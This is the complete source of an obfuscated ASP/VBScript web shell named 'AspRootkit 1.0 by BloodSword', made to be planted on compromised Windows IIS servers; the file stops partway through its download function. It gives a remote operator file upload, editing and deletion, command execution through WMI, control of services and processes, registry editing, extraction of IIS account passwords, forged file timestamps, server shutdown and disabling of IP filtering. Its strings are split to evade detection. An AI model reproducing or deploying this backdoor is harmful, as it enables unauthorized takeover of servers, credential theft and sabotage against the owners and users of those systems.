<%@ LANGUAGE='VBScript' CODEPAGE='65001'%> <% Response.Buffer=True Response.Charset="utf-8" Server.ScriptTimeOut=300 '-------------------------------Config------------------------------- Const zvhy=False Const ybd=43 Const qjr=False Const miih="." Const xdl="vqsbz|jzgm|ndie|puvgw|rrr" Const cbrh="GB2312" '-------------------------------Config------------------------------- Dim goaction,vqsbz,jzgm,ndie,puvgw,dut,blhvq,erd,ykzg,jnnb,zfbn,fac,vqt,cwp,wbk,jozsz,rqg,nedsl,acxze,cxkyk,igiqh,xxyj,spmh,yug,mhve,xacj,iqg,rsq,szgk,xnqtl,zsckm,gkyv,rrr,anpj,mee,mgy,eoz,bnes,bljd,fmsm,jpklj,zgn,eduj,edg,fnc xacj="AspRootkit 1.0 by BloodSword" If Request(goaction)="" And Trim(gbba("AUTH_USER"))="" Then Response.Status="401 Unauthorized" Response.Addheader"WWW-AuThenticate", "NTLM" If gbba("AUTH_USER")=""Then Response.End 'zhv"You did'nt login as the system administrators,there's lots of things you can't do -_-~!" End If sndu() Select Case goaction Case"pmy" ditm() Case"ulxbb" ylka() Case"jdwtp" muwq() Case"kqmyb" efbac() Case"lmwgb" snrt() Case"umh" qvetz() Case"ukpy" ihm() Case"xcngn" ehyx() Case"bbr" cyk() Case"xpodw" qxbon() Case Else cyk() End Select sbbo() Sub sndu() If Not qjr Then On Error Resume Next zfbn=Timer() Dim ndrck,xxzhu,qvtlx,fzro,vgm,tkl,isp servurl=gbba("URL") Set dut=mfmq("Script"&nrh&"ing.File"&nvkq&"SystemObject") Set erd=mfmq("Sh"&kpa&"ell.Applicat"&ffr&"ion") Set blhvq=new RegExp blhvq.Global=True blhvq.IgnoreCase=True blhvq.MultiLine=True For Each xxzhu In request.queryString execute""&xxzhu&"=request.queryString("""&xxzhu&""")" Next For Each ndrck In request.Form execute""&ndrck&"=request.form("""&ndrck&""")" Next isp=Split(xdl,"|") For Each tkl In isp execute""&tkl&"=wdhw("&tkl&")" Next xnqtl=gbba("SERVER_NAME") ykzg=gbba("PATH_INFO") jnnb=LCase(smfap(ykzg,"/")) vqt=dhh(".") cwp=dhh("/") If acxze<>"tngdz"And Right(vqsbz,1)="\"Then vqsbz=Left(vqsbz,Len(vqsbz)-1) If Len(vqsbz)=2 Then vqsbz=vqsbz&"\" nedsl=1 jozsz=1 End Sub Sub sbbo() If Not qjr Then On Error Resume Next Dim apwc Set dut=Nothing Set erd=Nothing Set blhvq=Nothing Set zsckm=Nothing fac=timer() apwc=fac-zfbn echo"
" ltvq"100%" echo"" echo"" eedi wbk apwc=FormatNumber(apwc,5) If Left(apwc,1)="."Then apwc="0"&apwc eedi"
" echo"
Processed in :"&apwc&"seconds
" Response.End() End Sub Sub cyk() goaction="bbr" If Not qjr Then On Error Resume Next If vqsbz=""Then vqsbz=puvgw If vqsbz=""Then vqsbz=vqt If acxze="down"Then qws() Response.End() End If fpx("FSO File Explorer") Select Case acxze Case"oql","sgqly" vuh() vqsbz=lgk(vqsbz,"\",False) Case"vwsrt" vwsrt() Case"save","seii" tyh() vqsbz=lgk(vqsbz,"\",False) Case"tngdz" uvrs() vqsbz=lgk(vqsbz,"\",False) Case"wqj","rjfr" wqj() Case"wsf","nhlnt" mgxnb() vqsbz=lgk(vqsbz,"\",False) Case"tbqwf","ejgn","vihy","ewvk" jreg() vqsbz=lgk(vqsbz,"\",False) Case"uzmjs" ywqif() Case"ffgo" ywc() vqsbz=lgk(vqsbz,"\",False) End Select If Len(vqsbz)<3 Then vqsbz=vqsbz&"\" bbr() End Sub Sub bbr() Dim aqwr,qvgzg,lwn,tlknr,xmg,kyirr,qsob,woaee If Not qjr Then On Error Resume Next Set aqwr=dut.GetFolder(vqsbz) tlknr=dut.GetParentFolderName(vqsbz) woaee=vqsbz If Right(woaee,1)<>"\"Then woaee=woaee&"\" xze"woaee",woaee ztlif True echo"Current Path :" pisa"text","vqsbz",vqsbz,120,"" eedi"" uxzf"","170px","onchange=""javascript:if(this.value!=''){adwba('"&goaction&"','',this.value);}""" zepw"","Drivers/Comm folders" zepw HtmlEncode(dhh(".")),"." zepw HtmlEncode(dhh("/")),"/" zepw"","----------------" For Each drive In dut.Drives zepw drive.DriveLetter&":\",drive.DriveLetter&":\" Next zepw"","----------------" zepw"C:\Program Files","C:\Program Files" zepw"C:\Program Files\RhinoSoft.com","RhinoSoft.com" zepw"C:\Program Files\Serv-U","Serv-U" zepw"C:\Program Files\Radmin","Radmin" zepw"C:\Program Files\Microsoft SQL Server","Mssql" zepw"C:\Program Files\Mysql","Mysql" zepw"","----------------" zepw"C:\Documents and Settings\All Users","All Users" zepw"C:\Documents and Settings\All Users\Documents","Documents" zepw"C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere","PcAnywhere" zepw"C:\Documents and Settings\All Users\Start Menu\Programs","Start Menu->Programs" zepw"","----------------" zepw"D:\Program Files","D:\Program Files" zepw"D:\Serv-U","D:\Serv-U" zepw"D:\Radmin","D:\Radmin" zepw"D:\Mysql","D:\Mysql" fndid adwba"Go" zro eedi"
" pisa"file","file","","","" echo"Save As : " pisa"text","vqsbz",vqsbz,40,"" pisa"checkbox","xxyj",1,"","" echo" OverWrite " pisa"button","","Upload","","onclick=""javascript:adwba('"&goaction&"','tngdz','')""" zro ztlif True pisa"text","yug","",20,"" xze"vqsbz",vqsbz xze"acxze","vwsrt" pisa"radio","mhve","file","","checked" echo"File" pisa"radio","mhve","folder","","" echo"Folder" adwba"New one" zro echo"
" If Not dut.FolderExists(vqsbz)Then zhv vqsbz&" Folder dosen't exists or access denied!" sbbo End If iquhg"Folders",False ltvq"100%" tygwb doTd"Folder name","20%" doTd"Size","20%" doTd"Last modified","20%" doTd"Action","40%" igl abywz 0 eedi"Parent Directory" igl jozsz=1 For Each objX In aqwr.SubFolders qsob=objX.DateLastModified abywz jozsz doTd""&objX.Name&"","" doTd htmlEncode(""),"" doTd qsob,"" echo"" eedi"Copy -" eedi"Move -" eedi"Rename -" eedi"Delete" eedi"" igl uuuk Next xlvqe eedi"
" iquhg"Files",False ltvq"100%" echo"" tygwb doTd"File name","20%" doTd"Size","20%" doTd"Last modified","20%" doTd"Action","40%" igl echo"" jozsz=0 For Each objX In aqwr.Files xmg=pkn(objX.Size) qsob=objX.DateLastModified If LCase(Left(objX.Path,Len(cwp)))<>LCase(cwp) Then qvgzg="" Else qvgzg=Replace(Replace(qtyi(Mid(objX.Path,Len(cwp) + 1)),"%2E","."),"+","%20") End If abywz jozsz If qvgzg=""Then doTd objX.Name,"" Else doTd""&objX.Name&"","" End If doTd xmg,"" doTd qsob,"" echo"" eedi"Edit -" eedi"Copy -" eedi"Move -" eedi"Rename -" eedi"Down -" eedi"Attributes -" eedi"Delete" eedi"" igl uuuk Next xlvqe echo"" smeb(Err) End Sub Sub ywqif() Dim qwsdh,npyi,gwp,cxmsb,afqj,advu,yiq,nqui If Not qjr Then On Error Resume Next If IsObject(dut)Then Set qwsdh=dut.GetFile(vqsbz) End If If IsObject(erd)Then yiq=lgk(vqsbz,"\",False) gwp=smfap(vqsbz,"\") Set advu=erd.NameSpace(yiq) Set npyi=advu.ParseName(gwp) End If echo"
" ltvq"60%" ztlif True xze"acxze","ffgo" xze"vqsbz",vqsbz tygwb ncxl"Set attribute","40%" doTd vqsbz,"60%" igl abywz 0 doTd"Attributes","" If IsObject(dut)Then afqj=qwsdh.Attributes cxmsb="system " cxmsb=cxmsb&"hide " cxmsb=cxmsb&"readonly " cxmsb=cxmsb&"save " If afqj>=128 Then afqj=afqj-128 If afqj>=64 Then afqj=afqj-64 If afqj>=32 Then afqj=afqj-32 cxmsb=Replace(cxmsb, "{$archive}", "checked") End If If afqj>=16 Then afqj=afqj-16 If afqj>=8 Then afqj=afqj-8 If afqj>=4 Then afqj=afqj-4 cxmsb=Replace(cxmsb, "{$system}", "checked") End If If afqj>=2 Then afqj=afqj-2 cxmsb=Replace(cxmsb, "{$hidden}", "checked") End If If afqj>=1 Then afqj=afqj-1 cxmsb=Replace(cxmsb, "{$readonly}", "checked") End If doTd cxmsb,"" Else doTd"FSO object disabled,can't get/set attributes -_-~!","" End If igl If IsObject(erd)Then abywz 1 doTd"Date created","" doTd advu.GetDetailsOf(npyi,4),"" igl abywz 0 doTd"Date last modified","" luhhh"text","iqg",advu.GetDetailsOf(npyi,3),"","","" igl abywz 1 doTd"Date last accessed","" doTd advu.GetDetailsOf(npyi,5),"" igl Else abywz 1 doTd"Date created","" doTd qwsdh.DateCreated,"" igl abywz 0 doTd"Date last modified","" doTd qwsdh.DateLastModified,"" igl abywz 1 doTd"Date last accessed","" doTd qwsdh.DateLastAccessed,"" igl End If zro ztlif True xze"acxze","ffgo" xze"vqsbz",vqsbz abywz 0 If IsObject(erd)Then ncxl"Clone time ","" echo"" uxzf"rsq","100%","" For Each objX In advu.Items If Not objX.IsFolder Then nqui=smfap(objX.Path,"\") zepw nqui,advu.GetDetailsOf(advu.ParseName(nqui),3)&" --- "&nqui End If Next Else echo"App object disabled,can't modify time -_-~!" End If xlvqe zro sbbo() End Sub Sub ywc() If Not qjr Then On Error Resume Next Dim nboac,qwsdh,yiq,gwp,advu,npyi If IsObject(dut)Then Set qwsdh=dut.GetFile(vqsbz) End If If IsObject(erd)Then yiq=lgk(vqsbz,"\",False) gwp=smfap(vqsbz,"\") Set advu=erd.NameSpace(yiq) Set npyi=advu.ParseName(gwp) End If 'echo szgk If szgk<>""Then szgk=Split(Replace(szgk," ",""),",") echo"fuck" For i=0 To UBound(szgk) nboac=nboac+CInt(szgk(i)) Next qwsdh.Attributes=nboac If Err Then smeb(Err) Else zhv"Attributes modified" End If End If If iqg<>"" And IsDate(iqg)Then npyi.ModifyDate=iqg If Err Then smeb(Err) Else zhv"Time modified" End If End If If rsq<>""Then npyi.ModifyDate=advu.GetDetailsOf(advu.ParseName(rsq),3) If Err Then smeb(Err) Else zhv"Time modified" End If End If End Sub Function pkn(yxa) If yxa>=(1024 * 1024 * 1024)Then pkn=Fix((yxa /(1024 * 1024 * 1024))* 100)/ 100&"G" If yxa>=(1024 * 1024)And yxa<(1024 * 1024 * 1024)Then pkn=Fix((yxa /(1024 * 1024))* 100)/ 100&"M" If yxa>=1024 And yxa<(1024 * 1024)Then pkn=Fix((yxa / 1024)* 100)/ 100&"K" If yxa>=0 And yxa<1024 Then pkn=yxa&"B" End Function Sub wqj() If Not qjr Then On Error Resume Next Dim theFile,xzgyk,ooz,ifc If Right(vqsbz,1)="\"Then zhv"Can't edit a directory!" sbbo End If ooz=lgk(vqsbz,"\",False) ztlif True If acxze="wqj" Then xzgyk=tortz(vqsbz) Else xzgyk=zhxc(vqsbz) End If smeb(Err) pvrd"spmh",xzgyk,"100%","25","" If acxze="rjfr" Then xze"acxze","seii" Else xze"acxze","save" End If echo"Save as :" pisa"text","vqsbz",vqsbz,"60","" echo" Encode:" uxzf"act","80px","onchange=""javascript:if(this.value!=''){adwba('"&goaction&"',this.value,'"&utzvg(vqsbz)&"');}""" zepw"wqj","Default" ifc="" If acxze="rjfr" Then ifc=Replace(ifc,"{$}","selected") End If echo ifc fndid echo" " adwba"Save" echo" " pisa"reset","","Reset","","" echo" " pisa"button","clear","Clear","","onclick=""javascript:this.form.spmh.innerText=''""" echo" " pisa"button","","Go back","","onclick=""javascript:adwba('"&goaction&"','','"&utzvg(ooz)&"')""" zro smeb(Err) sbbo End Sub Sub tyh() If Not qjr Then On Error Resume Next If acxze="save" Then vtyjq vqsbz,spmh Else oooeu vqsbz,spmh End If If Err Then smeb(Err) Else zhv"File saved." End If End Sub Sub ditm() fpx("Cmd Shell") Dim wolw,ss,oc,snqsz,vdtyh If Not qjr Then On Error Resume Next If jzgm<>"" Then Set zsckm=dtwz("wi"&kcb&"nmgmts:\\.\ro"&todxo&"ot\ci"&dmly&"mv2") Set wolw=zsckm.Get("Win32_Pro"&ivj&"cess") set ss=zsckm.get("Win32_ProcessSta"&uyy&"rtup") Set oc=ss.SpawnInstance_ oc.ShowWindow=12 snqsz=wolw.create(jzgm,null,oC,vdtyh) If snqsz=0 Then zhv"com"&sruz&"mand execute succeed!Refresh the iframe below to check result." Else zhv"com"&sruz&"mand execute fail-_-!RPWT?" End If Set wolw=Nothing Set ss=Nothing Set oc=Nothing ElseIf acxze="viewResult" Then Response.Clear echo ""&htmlEncode(tortz(rrr))&"" Response.End End If smeb(Err) ltvq"100%" ztlif True abywz 1 doTd"com"&sruz&"mand","10%" If jzgm=""Then jzgm="cmd.exe /c net user" If rrr=""Then rrr=cwp&"\temp.txt" luhhh"text","jzgm",jzgm,"80%","","" ncxl"Run ","" igl abywz 0 doTd">","" luhhh"text","rrr",rrr,"","","" luhhh"button","","Echo","","onclick='javascript:this.form.jzgm.value=this.form.jzgm.value+"" > ""+this.form.rrr.value'","" igl zro xlvqe echo"
" pisa"button","","Refresh result","","onclick=""javascript:argnp()""" echo"

" End Sub Sub ylka() fpx("Service List") Dim glip,bond,kbap If Not qjr Then On Error Resume Next Set zsckm=dtwz("wi"&kcb&"nmgmts:\\.\ro"&todxo&"ot\ci"&dmly&"mv2") If acxze="startone" Or acxze="stopone" Then gyxm(puvgw) End If Set bond=zsckm.InstancesOf("Win3"&dwt&"2_Service") ltvq "100%" echo "" doTd "Name","" doTd "Display Name","" doTd "Path","40%" doTd "Start Mode","" doTd "State","" doTd "Action","" igl jozsz=0 For Each glip In bond kbap=False If LCase(glip.State)="running"Then kbap=True abywz jozsz doTd glip.Name,"" doTd glip.DisplayName,"" doTd glip.PathName,"" doTd glip.StartMode,"" If kbap Then snqs glip.State,"green","" doTd"Stop","" Else snqs glip.State,"red","" doTd"Start","" End If igl uuuk Next End Sub Sub gyxm(dlzu) Dim qxau,glip If Not qjr Then On Error Resume Next Set zsckm=dtwz("wi"&kcb&"nmgmts:\\.\ro"&todxo&"ot\ci"&dmly&"mv2") Set qxau=zsckm.ExecQuery("select * from Win3"&dwt&"2_Service where Name='"&dlzu&"'") For Each glip In qxau If acxze="startone" Then glip.StartService() Else glip.StopService() End If Next If Err Then smeb(Err) Else zhv"Service successfully start/stoped!" End If End Sub Sub muwq() fpx("Process List") Dim cpmvi,ijre,kbap If Not qjr Then On Error Resume Next Set zsckm=dtwz("wi"&kcb&"nmgmts:\\.\ro"&todxo&"ot\ci"&dmly&"mv2") If acxze="stopone" Then ylwre(puvgw) End If Set ijre=zsckm.InstancesOf("Win32_Pro"&ivj&"cess") ltvq "100%" echo "" doTd "PID","" doTd "Name","" doTd "Path","" doTd "Action","" igl jozsz=0 For Each cpmvi In ijre abywz jozsz doTd cpmvi.ProcessId,"" doTd cpmvi.Name,"" doTd cpmvi.ExecutablePath,"" If cpmvi.ExecutablePath<>""Then doTd"Terminate","" Else doTd"--","" End If igl uuuk Next End Sub Sub ylwre(pid) Dim ijre,glip If Not qjr Then On Error Resume Next Set zsckm=dtwz("wi"&kcb&"nmgmts:\\.\ro"&todxo&"ot\ci"&dmly&"mv2") Set ijre=zsckm.ExecQuery("select * from Win32_Pro"&ivj&"cess where ProcessId='"&pid&"'") For Each cpmvi In ijre If cpmvi.Terminate()=0 Then zhv"Process terminate succeed!" Else zhv"Process terminate fail-_-!" End If Next End Sub Sub efbac() If Not qjr Then On Error Resume Next If ndie=""Then ndie=puvgw anpj=Split("HKEY_CLASSE"&cbppq&"S_ROOT|HKEY_CURRENT_US"&nhm&"ER|HKEY_LOCAL_MACHI"&toev&"NE|HKEY_U"&lzwqj&"SERS|HKE"&mxdz&"Y_CURRENT_CONFIG","|") If Right(ndie,1)="\" Then ndie=Left(ndie,Len(ndie)-1) If InStr(ndie,"\")>0 Then bljd=lgk(ndie,"\",True) fmsm=Mid(ndie,Len(bljd)+2) Else bljd=ndie fmsm="" End If Select Case UCase(bljd) Case "HKEY_CLASSE"&cbppq&"S_ROOT" jpklj=&H80000000 Case "HKEY_CURRENT_US"&nhm&"ER" jpklj=&H80000001 Case "HKEY_LOCAL_MACHI"&toev&"NE" jpklj=&H80000002 Case "HKEY_U"&lzwqj&"SERS" jpklj=&H80000003 Case "HKE"&mxdz&"Y_CURRENT_CONFIG" jpklj=&H80000004 End Select Set bnes=dtwz("wi"&kcb&"nmgmts:\\.\ro"&todxo&"ot\default:StdRegP"&bqlnw&"rov") Select Case acxze Case "dxc","pppau" aso() Case "wscnt" ncyl() End Select fpx("Reg Shell") ztlif True ltvq "80%" abywz 1 doTd"Registry Path","10%" luhhh"text","ndie",ndie,"80%","","" ncxl"Go","10%" igl abywz 0 echo"" For Each strRootKey In anpj echo ""&strRootKey&" | " Next igl zro ztlif True abywz 1 xze "acxze","wscnt" xze "ndie",ndie doTd"Name : ","" echo"" pisa"text","mee","","30","" echo" Type : " uxzf"mgy","120px","" zepw"key","SubKey" zepw"str","String" zepw"bsgop","ExpandedString" zepw"dwd","DWORD" zepw"xrvxd","MultiString" fndid echo" Value : " pisa"text","eoz","","50","" echo"" ncxl"Set","" zro igl xlvqe echo"
  • Multi string value splits with ',',you can create new items,or just modify what exists : )

  • " ykoo() Set bnes=Nothing End Sub Sub ykoo() Dim afd,ssdxp,vfqws If Not qjr Then On Error Resume Next iquhg"SubKeys",False ltvq "100%" tygwb doTd"Name","" doTd"Action","" igl If ndie=""Then jozsz=0 For Each strRootKey In anpj abywz jozsz doTd""&strRootKey&"","" doTd"","" uuuk Next Else abywz 0 echo"Parent Key" igl jozsz=1 bnes.EnumKey jpklj,fmsm,afd If IsArray(afd)Then For Each strSubKey In afd abywz jozsz doTd ""&strSubKey&"","" doTd"Delete","" igl uuuk Next End If bnes.EnumValues jpklj,fmsm,ssdxp,vfqws If IsArray(ssdxp)Then xlvqe echo"
    " iquhg"Values",False ltvq"100%" tygwb doTd"Name","" doTd"Type","" doTd"Value","" doTd"Action","" igl jozsz=0 For i=0 To UBound(ssdxp) ztmjf jpklj,fmsm,ssdxp(i),vfqws(i) Next End If End If xlvqe eedi"" smeb(Err) End Sub Sub ztmjf(jpklj,fmsm,gwp,bpz) Dim vjrs,auya,jdl If Not qjr Then On Error Resume Next auya="" abywz jozsz Select Case bpz Case 1 bnes.GetStringValue jpklj,fmsm,gwp,vjrs jdl="String" Case 2 bnes.GetExpandedStringValue jpklj,fmsm,gwp,vjrs jdl="ExpandedString" Case 3 bnes.GetBinaryValue jpklj,fmsm,gwp,vjrs jdl="Binary" Case 4 bnes.GetDWORDValue jpklj,fmsm,gwp,vjrs jdl="DWORD" Case 7 bnes.GetMultiStringValue jpklj,fmsm,gwp,vjrs jdl="MultiString" End Select If IsArray(vjrs)Then If bpz=3 Then For i=0 To UBound(vjrs) If CInt(vjrs(i))<16 Then auya=auya&"0" End If auya=auya&CStr(Hex(CInt(vjrs(i)))) Next Else auya=Join(vjrs,",") End If Else auya=CStr(vjrs) End If doTd gwp,"" doTd jdl,"" doTd auya,"" eedi"Delete" igl uuuk End Sub Sub aso() If Not qjr Then On Error Resume Next Dim gbca If acxze="dxc" Then gbca=bnes.DeleteKey(jpklj,fmsm) Else gbca=bnes.DeleteValue(jpklj,lgk(fmsm,"\",False),smfap(fmsm,"\")) End If If gbca=0 Then zhv"Sub key/value delete succeed!" Else zhv"Sub key/value delete fail-_-!" End If ndie=lgk(ndie,"\",False) End Sub Sub ncyl() If Not qjr Then On Error Resume Next Dim gbca Select Case mgy Case "key" gbca=bnes.CreateKey(jpklj,fmsm&"\"&mee) Case "str" gbca=bnes.SetStringValue(jpklj,fmsm,mee,eoz) Case "bsgop" gbca=bnes.SetExpandedStringValue(jpklj,fmsm,mee,eoz) Case "dwd" If IsNumeric(eoz)Then gbca=bnes.SetDWORDValue(jpklj,fmsm,mee,eoz) Else zhv"Dword value must be a number!" Exit Sub End If Case "xrvxd" gbca=bnes.SetMultiStringValue(jpklj,fmsm,mee,Split(eoz,",")) End Select If gbca=0 Then zhv"Sub key/value create/modify succeed!" Else zhv"Sub key/value create/modify fail-_-!" End If End Sub Sub snrt() Dim qxe,vula,sru,wetn,uit,boo,vhkdi If Not qjr Then On Error Resume Next fpx("IIS Spy Using ADSI") ltvq"100%" tygwb doTd"Name","" doTd"Domain","" doTd"IIS_USER","" doTd"IIS_PASS","" doTd"APP_USER","" doTd"APP_PASS","" doTd"Path","" jozsz=0 Set vula=dtwz("II"&iung&"S://Loca"&uwevh&"lhost/W3S"&vum&"VC") For Each obj3w In vula boo=obj3w.Name If IsNumeric(boo) Then qxe=Obj3w.ServerComment Set domain=dtwz("II"&iung&"S://Loca"&uwevh&"lhost/W3S"&vum&"VC/"&boo) If isArray(domain.ServerBindings) Then uit=domain.ServerBindings sru="" For i=0 To UBound(uit) sru=sru+uit(i)+"
    " Next sru=Left(sru,Len(sru)-4) End If Set wetn=dtwz("II"&iung&"S://Loca"&uwevh&"lhost/W3S"&vum&"VC/"&boo&"/ro"&todxo&"ot") Set vhkdi=dtwz("II"&iung&"S://Loca"&uwevh&"lhost/W3S"&vum&"VC/AppPo"&lavjs&"ols/"&wetn.AppPoolId) abywz jozsz doTd qxe,"" doTd sru,"" doTd wetn.AnonymousUserName,"" doTd wetn.AnonymousUserPass,"" doTd vhkdi.WAMUserName,"" doTd vhkdi.WAMUserPass,"" doTd ""&wetn.path&"","" igl uuuk End If Next xlvqe Set vula=Nothing Set wetn=Nothing Set domain=Nothing Set wetn=Nothing smeb(Err) End Sub Sub qvetz() Dim ylz,qifc,xczkb,uwfd If Not qjr Then On Error Resume Next Set zsckm=dtwz("wi"&kcb&"nmgmts:\\.\ro"&todxo&"ot\Mi"&brjdx&"crosoftIISv2") Set ylz=zsckm.InstancesOf("IISWebVirtualDir"&ymy&"Setting") fpx("IIS Spy Using WMI") ltvq"100%" tygwb doTd"Name","" doTd"Domain","" doTd"IIS_USER","" doTd"IIS_PASS","" doTd"APP_USER","" doTd"APP_PASS","" doTd"Path","" igl jozsz=0 For Each objWebDoc In ylz abywz jozsz Set qifc=zsckm.ExecQuery("Select ServerComment,ServerBindings from II"&rvx&"SWebServerSetting where Name='"&Replace(objWebDoc.Name,"/ro"&todxo&"ot","",1,-1,1)&"'") If qifc.Count=0 Then doTd "","" doTd "","" Else For Each objWebSvr In qifc tmpdmStr="" doTd objWebSvr.ServerComment,"" For Each subBind In objWebSvr.ServerBindings If tmpdmStr<>""Then tmpdmStr=tmpdmStr&"
    " tmpdmStr=tmpdmStr&subBind.IP&":"&subBind.Port&":"&subBind.Hostname Next doTd tmpdmStr,"" Exit For Next End If doTd objWebDoc.AnonymousUserName,"" doTd objWebDoc.AnonymousUserPass,"" Set xczkb=zsckm.ExecQuery("Select WAMUserName,WAMUserPass from IISAppli"&dwgoq&"cationPoolSetting where Name='W3S"&vum&"VC/AppPo"&lavjs&"ols/"&objWebDoc.AppPoolId&"'") For Each objWebApp In xczkb doTd objWebApp.WAMUserName,"" doTd objWebApp.WAMUserPass,"" Exit For Next doTd ""&objWebDoc.Path&"","" igl uuuk Next xlvqe Set vula=Nothing smeb(Err) End Sub Sub ihm() Dim ndk,goeje If Not qjr Then On Error Resume Next Set zsckm=dtwz("wi"&kcb&"nmgmts:\\.\ro"&todxo&"ot\ci"&dmly&"mv2") Set zgn=zsckm.InstancesOf("Win32_UserAccount") Set eduj=zsckm.InstancesOf("Win32_Group") fpx("User List") iquhg "Users",False ltvq "100%" For Each edg In zgn tygwb eedi""&edg.Name&"" igl jozsz=0 For Each subProp In edg.Properties_ abywz jozsz doTd subProp.Name,"" doTd subProp.Value,"" igl uuuk Next Next xlvqe echo"
    " iquhg "Groups",False ltvq"100%" For Each fnc In eduj tygwb eedi""&fnc.Name&"" igl jozsz=0 For Each subProp In fnc.Properties_ abywz jozsz doTd subProp.Name,"" doTd subProp.Value,"" igl uuuk Next Next xlvqe echo"" smeb(Err) End Sub Sub qxbon() Dim yzka,plz,fmsm fpx("DataSource List") If Not qjr Then On Error Resume Next Set bnes=dtwz("wi"&kcb&"nmgmts:\\.\ro"&todxo&"ot\default:StdRegP"&bqlnw&"rov") jpklj=&H80000002 fmsm="SOFTW"&cyz&"ARE\ODBC\ODBCINST.INI" bnes.EnumKey jpklj,fmsm,yzka ltvq"100%" tygwb doTd"DataBase Driver","" doTd"Driver Path","" igl jozsz=0 For Each strOdbcName In yzka abywz jozsz doTd strOdbcName,"" bnes.GetStringValue jpklj,fmsm&"\"&strOdbcName,"Driver",plz doTd plz,"" igl uuuk Next xlvqe End Sub Sub ehyx() Dim sefc,dkb,rrf,umj If Not qjr Then On Error Resume Next Set zsckm=dtwz("wi"&kcb&"nmgmts:\\.\ro"&todxo&"ot\ci"&dmly&"mv2") Set dkb=zsckm.InstancesOf("Win32_OperatingSy"&mvwu&"stem") fpx("xcngn Tools") echo"
    " ltvq"60%" ztlif False xze"acxze","dlagb" abywz 1 doTd "Turn off server","80%" ncxl "Do it","20%" igl zro ztlif False xze"acxze","reset" abywz 0 doTd"Reset server","" ncxl "Do it","" igl zro ztlif False xze"acxze","xcnu" abywz 1 doTd "Disable TCP/IP filter","" ncxl "Do it","" igl zro xlvqe echo"
    " Select Case acxze Case "dlagb" For Each sefc In dkb If sefc.Shutdown()=0 Then zhv"Shuting computer,fuck off!" Else zhv"Shut computer fail-_-!" End If Next Case "reset" For Each sefc In dkb If sefc.Reboot()=0 Then zhv"Restarting computer,connect later..." Else zhv"Restart computer fail-_-!" End If Next Case "xcnu" Set rrf=zsckm.ExecQuery("select * from Win32_NetworkAda"&dkp&"pterConfiguration where IPEnabled ='True'") For Each umj In rrf dised=umj.DisableIPSec() If dised=0 Or dised=1 Then zhv"IP filter disable succeed!You need to restart server to make it effective." Else zhv"IP filter disable fail-_-!" End If Next End Select End Sub Sub fpx(ivv) %> <%=xacj%>

    <%=gbba("LOCAL_ADDR")&"("&xnqtl&")"%>

    <%adutj xacj,"#0099FF","3"%>
    <%=jck()%>

    <% echo"" adutj ivv&" »","#0099ff","2" eedi"

    " End Sub Function tortz(vqsbz) Set objCountFile=dut.OpenTextFile(vqsbz,1,True) tortz=objCountFile.ReadAll objCountFile.Close Set objCountFile=Nothing End Function Function zhxc(vqsbz) Dim kodwq If Not qjr Then On Error Resume Next Set kodwq=mfmq("Adodb.Stream") With kodwq .Type=2 .Mode=3 .Open .LoadFromFile vqsbz .Charset="utf-8" .Position=2 zhxc=.ReadText() .Close End With Set kodwq=Nothing End Function Sub vtyjq(vqsbz,spmh) Dim theFile Set theFile=dut.OpenTextFile(vqsbz,2,True) theFile.Write spmh theFile.Close Set theFile=Nothing End Sub Sub oooeu(vqsbz,spmh) Dim kodwq If Not qjr Then On Error Resume Next Set kodwq=mfmq("Adodb.Stream") With kodwq .Type=2 .Mode=3 .Open .Charset="utf-8" .WriteText spmh .SavetoFile vqsbz,2 .Close End With Set kodwq=Nothing End Sub Sub vwsrt() If Not qjr Then On Error Resume Next If mhve="file"Then vqsbz=vqsbz&"\"&yug Call dut.CreateTextFile(vqsbz,False) wqj Else dut.CreateFolder(vqsbz&"\"&yug) End If If Err Then smeb(Err) Else zhv"File/folder created" End If End Sub Sub mgxnb() Dim etzij,advu,ooz,mxq If Not qjr Then On Error Resume Next vqsbz=lgk(puvgw,"|",False) etzij=smfap(puvgw,"|") If InStr(vqsbz,"\")<1 Then vqsbz=vqsbz&"\" Dim theFile,fileName,aqwr If vqsbz=""Or etzij=""Then zhv"Parameter wrong!" Exit Sub End If If strFileMethod="fso"Then If acxze="renamefolder"Then Set aqwr=dut.GetFolder(vqsbz) aqwr.Name=etzij Set aqwr=Nothing Else Set theFile=dut.GetFile(vqsbz) theFile.Name=etzij Set theFile=Nothing End If Else mxq=smfap(vqsbz,"\") ooz=lgk(vqsbz,"\",False) Set advu=erd.NameSpace(ooz) Set objItem=advu.ParseName(mxq) objItem.Name=etzij End If If Err Then smeb(Err) Else zhv"Rename completed" End If End Sub Sub vuh() If Not qjr Then On Error Resume Next If acxze="sgqly"Then Call dut.DeleteFolder(vqsbz,True) Else Call dut.DeleteFile(vqsbz,True) End If If Len(vqsbz)=2 Then vqsbz=vqsbz&"\" If Err Then smeb(Err) Else zhv"File/folder deleted" End If End Sub Sub jreg() Dim ylkbe,zyn,bpavi,egcb,kcos If Not qjr Then On Error Resume Next vqsbz=Left(puvgw,Instr(puvgw,"|")-1) zyn=Mid(puvgw,InStr(puvgw,"|")+1) If vqsbz=""Or zyn=""Then zhv"Parameter wrong!" Exit Sub End If If Right(zyn,1)<>"\"Then zyn=zyn&"\" Select Case acxze Case"vihy" Call dut.CopyFolder(vqsbz,zyn) Case"tbqwf" Call dut.CopyFile(vqsbz,zyn) Case"ewvk" Call dut.MoveFolder(vqsbz,zyn) Case"ejgn" Call dut.MoveFile(vqsbz,zyn) End Select If Err Then smeb(Err) Else zhv"File/folder copyed/moved" End If End Sub Sub rsri() Dim sdxpm,argbp,wruwd,clagp If Not qjr Then On Error Resume Next vqsbz=Left(puvgw,Instr(puvgw,"|")-1) If Right(vqsbz,1)="\"And Len(vqsbz)>3 Then vqsbz=Left(vqsbz,Len(vqsbz)-1) argbp=smfap(vqsbz,"\") wruwd=Mid(puvgw,Instr(puvgw,"|")+1) vqsbz=lgk(vqsbz,"\",False) Set clagp=erd.NameSpace(vqsbz) Set sdxpm=clagp.ParseName(argbp) If wruwd<>""Then If IsDate(wruwd) Then sdxpm.ModifyDate=wruwd End If If Err Then smeb(Err) Else zhv"Time modiffied" End If Set sdxpm=Nothing Set clagp=Nothing End Sub Sub qws() Response.Clear If Not qjr Then On Error Resume Next Dim kodwq,fileName,kpmtb fileName=smfap(vqsbz,"\") Set kodwq=mfmq("Adodb.Stream") kodwq.Open kodwq.Type=1 kodwq.LoadFromFile(vqsbz) smeb(Err) session.CodePage=936 Response.AddHeader"Content-Disposition","Attachment; Filename="&fileName session.CodePage=65001 Response.AddHeader"Content-Length",kodwq.Size 